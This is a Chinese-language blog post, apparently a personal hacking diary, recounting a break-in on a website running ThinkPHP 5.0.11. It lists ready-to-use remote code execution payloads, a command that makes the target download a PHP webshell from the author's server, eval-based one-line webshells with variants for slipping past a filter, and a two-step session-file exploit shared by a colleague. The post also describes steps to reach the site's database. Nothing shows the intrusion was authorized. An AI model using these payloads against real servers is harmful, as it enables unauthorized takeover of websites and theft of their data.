天天看點

記一次tp5.0.11rce

今天很有感觸,我決定從今天開始記錄我在ax的點點滴滴,自己的學長都是一步一個腳印走出來,加油,阿鑫。

首先進入網站,xxxx/    随便輸入xxx/admin    然後報錯

記一次tp5.0.11rce

然後去網上搜尋tp5.0.11的exp打,然後找了一個exp,這tm不直接滲透結束?

記一次tp5.0.11rce

然後看了一下函數,禁止了system,assert函數

記一次tp5.0.11rce

這裡再附上幾個exp,如果沒有禁,可以直接打,

_method=__construct&filter[]=system&method=get&get[]=phpinfo       

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo

然後我就用了甯外一個exp

wget自己的vps下馬,

http://5.com/index.php?s=portal/\think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[l][]=wget%20https://vps//fw.php

這裡我也記一下自己彩的坑,tp5常用的子產品  portal   index   admin   user   captcha    這幾個    當時一直報錯沒有此子產品

然後第二個最開始我用的curl下載下傳,下了半天也沒有反應,才知道curl被禁了

終于下好了,最開下的txt,能通路,然後下的phpinfo,也能通路,最後下一句話,出問題了,有waf,寫不進去

然後自己分析一波,發現<>被轉義了,換

&lt;?php @eval($_POST['cai']);?&gt;  然後就是這這樣構造去寫小馬,

\&lt;\?php eval(\$\_POST\[cai\]);     還是連不上

然後我就去找卿師傅要了一個馬,在此謝謝卿師傅。成功連上拿下shell

記一次tp5.0.11rce

然後檢視資料庫,卻發現連接配接不上,應該是做了限制,然後去修改檔案,繞過限制

1.在host   /etc/hosts  檔案裡映射一個vps的伺服器位址

2.在my.conf檔案裡   /etc/my.conf     /etc/mysql/my.conf    寫入skip-name-resolve此注釋socket=/var下面

卻發現自己的權限不夠,提權沒有必要,主要是太菜了,然後就去下了一個adminer.php

最開始死活也登不上去,後來機靈了一下,決定不要放到根目錄,果然,拿下

記一次tp5.0.11rce

最後問了下旁邊的同僚,他告訴我,其實php7可以日志shell,我不信,結果10分鐘搞定了,看了一下時間,中午12點,網易雲時間到了

附上同僚的exp

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_test1&server[]=1&x=

2步,直接拿下

繼續閱讀